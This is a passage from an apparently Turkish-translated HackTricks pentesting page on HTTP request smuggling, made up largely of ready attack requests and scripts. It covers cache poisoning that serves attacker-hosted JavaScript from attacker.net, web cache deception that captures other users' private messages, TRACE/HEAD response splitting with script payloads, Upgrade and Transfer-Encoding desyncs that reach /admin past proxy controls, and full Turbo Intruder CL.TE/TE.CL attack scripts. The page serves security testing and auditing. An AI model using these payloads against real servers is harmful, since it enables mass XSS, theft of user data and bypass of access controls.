Bu teknik, bir Open Redirect vulnerability keşfedilirse veya on-site redirect to an open redirect varsa özellikle güçlü hale gelir. Bu tür zafiyetler, cache’deki /static/include.js içeriğini saldırganın kontrol ettiği bir script ile değiştirmek için kullanılabilir; bu da güncellenmiş /static/include.js isteyen tüm istemcilere karşı geniş çaplı bir Cross-Site Scripting (XSS) saldırısı yapılmasını mümkün kılar.

Aşağıda, cache poisoning combined with an on-site redirect to open redirect istismarının bir örneği gösterilmektedir. Amaç, /static/include.js cache içeriğini saldırgan tarafından kontrol edilen JavaScript kodunu sunacak şekilde değiştirmektir:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Gömülü isteğin /post/next?postId=3 hedefine dikkat edin. Bu istek /post?postId=4 adresine yönlendirilecek ve alan adını belirlemek için Host header value kullanılacaktır. Host header değiştirilerek saldırgan isteği kendi alan adına yönlendirebilir (on-site redirect to open redirect).

Başarılı bir socket poisoning sonrasında, /static/include.js için bir GET request başlatılmalıdır. Bu istek, önceki on-site redirect to open redirect isteği tarafından bozulacak ve saldırganın kontrol ettiği script’in içeriğini çekecektir.

Ardından, /static/include.js için yapılan herhangi bir istek, saldırganın script’inin önbelleğe alınmış içeriğini sunacak ve fiilen geniş kapsamlı bir XSS saldırısı başlatacaktır.

Web cache deception gerçekleştirmek için HTTP request smuggling kullanma

Web cache poisoning ile web cache deception arasındaki fark nedir?

Web cache poisoning’de saldırgan, uygulamanın zararlı bazı içeriği cache’e kaydetmesine neden olur ve bu içerik cache’ten diğer uygulama kullanıcılarına sunulur.

Web cache deception’de saldırgan, uygulamanın başka bir kullanıcıya ait hassas içeriği cache’e kaydetmesine neden olur ve ardından saldırgan bu içeriği cache’ten alır.

Saldırgan, hassas kullanıcıya özel içeriği çeken smuggled bir istek oluşturur. Aşağıdaki örneği ele alın:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Eğer bu smuggled request, statik içerik için tasarlanmış bir cache entry’yi zehirlerse (ör. /someimage.png), kurbanın /private/messages içindeki hassas verileri statik içeriğin cache entry’si altında cache’lenebilir. Sonuç olarak saldırgan bu cache’lenmiş hassas verilere potansiyel olarak erişebilir.

HTTP Request Smuggling ile TRACE kötüye kullanımı

Bu postta server’da TRACE methodu enabled ise, bunun HTTP Request Smuggling ile kötüye kullanılabileceği önerilmektedir. Bunun nedeni, bu methodun server’a gönderilen herhangi bir header’ı response’un body’sinin bir parçası olarak reflect etmesidir. Örneğin:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Şu şekilde bir yanıt gönderecek:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Bu davranışı kötüye kullanmaya bir örnek, önce bir HEAD request smuggle etmek olacaktır. Bu request, bir GET request’in yalnızca headers kısmıyla yanıtlanır (Content-Type bunların arasında). Ve hemen HEAD’in ardından bir TRACE request smuggle edilir; bu da gönderilen veriyi yansıtacaktır.
HEAD response bir Content-Length header’ı içereceğinden, TRACE request’in response’u HEAD response’un body’si olarak ele alınacaktır; dolayısıyla response içinde rastgele veri yansıtılacaktır.
Bu response, connection üzerinden sonraki request’e gönderilecektir; bu yüzden örneğin cached bir JS dosyasında rastgele JS code enjekte etmek için kullanılabilir.

HTTP Response Splitting ile TRACE’i kötüye kullanma

bu postu takip etmeye devam etmek, TRACE methodunu kötüye kullanmanın başka bir yolunu önerir. Belirtildiği gibi, bir HEAD request ve bir TRACE request smuggle ederek, HEAD request’in response’unda bazı reflected data’yı kontrol etmek mümkündür. HEAD request’in body uzunluğu temel olarak Content-Length header’ı ile belirtilir ve TRACE response’una göre oluşur.

Bu nedenle yeni fikir şudur: Bu Content-Length ve TRACE response’unda verilen veri bilindiğinde, TRACE response’unun Content-Length’in son byte’ından sonra geçerli bir HTTP response içermesi sağlanabilir; bu da saldırganın sonraki response’a giden request’i tamamen kontrol etmesine izin verir (bu, cache poisoning gerçekleştirmek için kullanılabilir).

Example:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Bu yanıtları oluşturacak (HEAD response’ın bir Content-Length içerdiğine ve bunun TRACE response’unu HEAD body’sinin bir parçası haline getirdiğine dikkat edin; ayrıca HEAD Content-Length sona erdiğinde geçerli bir HTTP response smuggled edilir):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

HTTP Response Desynchronisation ile HTTP Request Smuggling’i silahlaştırma

Bir HTTP Request Smuggling açığı buldunuz ve bunu nasıl istismar edeceğinizi bilmiyor musunuz? Bu diğer istismar yöntemlerini deneyin:

HTTP Response Smuggling / Desync

Diğer HTTP Request Smuggling Teknikleri

Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

HTTP/2 Downgrade’lerinde Request Smuggling

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

From https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Kaynak: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Reverse-proxy parsing footguns (Pingora 2026)

Several 2026 Pingora bug’ları, klasik CL.TE / TE.CL ötesinde desync primitives gösterdikleri için kullanışlıdır. Yeniden kullanılabilir ders şudur: bir proxy çok erken parsing’i durdurduğunda, Transfer-Encoding değerini backend’den farklı şekilde normalize ettiğinde veya request body’leri için read-until-close’a geri döndüğünde, geleneksel bir CL/TE belirsizliği olmasa bile FE↔BE desync elde edebilirsiniz.

Premature `Upgrade` passthrough

Eğer bir reverse proxy bir Upgrade header’ı görür görmez raw tunnel / passthrough mode’a geçiyorsa, backend’in geçişi 101 Switching Protocols ile doğrulamasını beklemeden, aynı TCP stream içine ikinci bir request smuggle edebilirsiniz:

GET / HTTP/1.1
Host: target.com
Upgrade: anything
Content-Length: 0

GET /admin HTTP/1.1
Host: target.com

Ön uç yalnızca ilk isteği ayrıştırır, ardından geri kalanını ham byte’lar olarak iletir. Arka uç, eklenen byte’ları proxy’nin güvenilir IP’sinden gelen yeni bir istek olarak ayrıştırır. Bu özellikle şunlar için faydalıdır:

proxy ACLs, WAF rules, auth checks ve rate limits’i bypass etmek.
reverse proxy IP’sine güvenen internal-only endpoint’lere ulaşmak.
yeniden kullanılan backend bağlantılarında cross-user response queue poisoning tetiklemek.

Proxyleri denetlerken, her zaman herhangi bir Upgrade değerinin passthrough tetikleyip tetiklemediğini test edin ve geçişin backend 101 ile yanıt vermesinden önce mi yoksa sonra mı gerçekleştiğini doğrulayın.

`Transfer-Encoding` normalization bugs + HTTP/1.0 close-delimited fallback

Bir diğer yararlı desen şudur:

Proxy, Transfer-Encoding bulunduğunu görür, bu yüzden Content-Length’i kaldırır.
Proxy, TE’yi doğru şekilde normalize etmeyi başaramaz.
Proxy’nin artık tanınan bir framing’i yoktur ve HTTP/1.0 için close-delimited request bodies’ye geri döner.
Backend TE’yi doğru şekilde anlar ve 0\r\n\r\n sonrasındaki byte’ları yeni bir istek olarak ele alır.

Bunu tetiklemenin yaygın yolları:

Virgülle ayrılmış TE listesi ayrıştırılmaz:

GET / HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity, chunked
Content-Length: 29

0

GET /admin HTTP/1.1
X:

Duplicate TE headers not merged:

POST /legit HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com
X:

Önemli audit kontrolleri şunlardır:

Front-end, chunked en sonda olduğunda gerekli olduğu gibi, son TE token’ını parse ediyor mu?
Yalnızca ilkini değil, tüm Transfer-Encoding header’larını mı kullanıyor?
HTTP/1.0’ı read-until-close body modunu tetiklemek için zorlayabilir misin?
Proxy hiç close-delimited request bodies’ye izin veriyor mu? Bu tek başına yüksek değerli bir desync belirtisidir.

Bu sınıf dışarıdan çoğu zaman CL.TE gibi görünür, ama gerçek primitive şudur: TE present –> CL stripped –> no valid framing recognized –> request body forwarded until close.

İlgili cache poisoning primitive: path-only cache keys

Aynı Pingora audit ayrıca tehlikeli bir reverse-proxy cache anti-pattern’ini ortaya çıkardı: cache key’i yalnızca URI path’inden türetmek ve Host, scheme veya port’u yok saymak. Multi-tenant veya multi-vhost deployments içinde, farklı host’lar aynı cache entry üzerinde çakışabilir:

GET /api/data HTTP/1.1
Host: evil.com

GET /api/data HTTP/1.1
Host: victim.com

If both requests map to the same cache key (/api/data), one tenant can poison content for another. If the origin reflects the Host header in redirects, CORS, HTML, or script URLs, a low-value Host reflection can become cross-user stored cache poisoning.

Caches’i incelerken, key’in en az şunları içerdiğini doğrula:

Host / virtual host identity
behavior farklıysa scheme (http vs https)
birden fazla application aynı cache namespace’i paylaşıyorsa port

Tools

HTTP Hacker (Burp BApp Store) – concatenation/framing ve low‑level HTTP behavior’ı görselleştirir
https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action “Smuggling or pipelining?”
https://github.com/anshumanpattnaik/http-request-smuggling
https://github.com/PortSwigger/http-request-smuggler
https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
https://github.com/defparam/smuggler
https://github.com/Moopinger/smugglefuzz
https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Bu araç, garip request smuggling tutarsızlıklarını bulmak için kullanışlı bir grammar-based HTTP Fuzzer’dır.

References

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin

abonelik planlarını kontrol edin!

💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.

HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.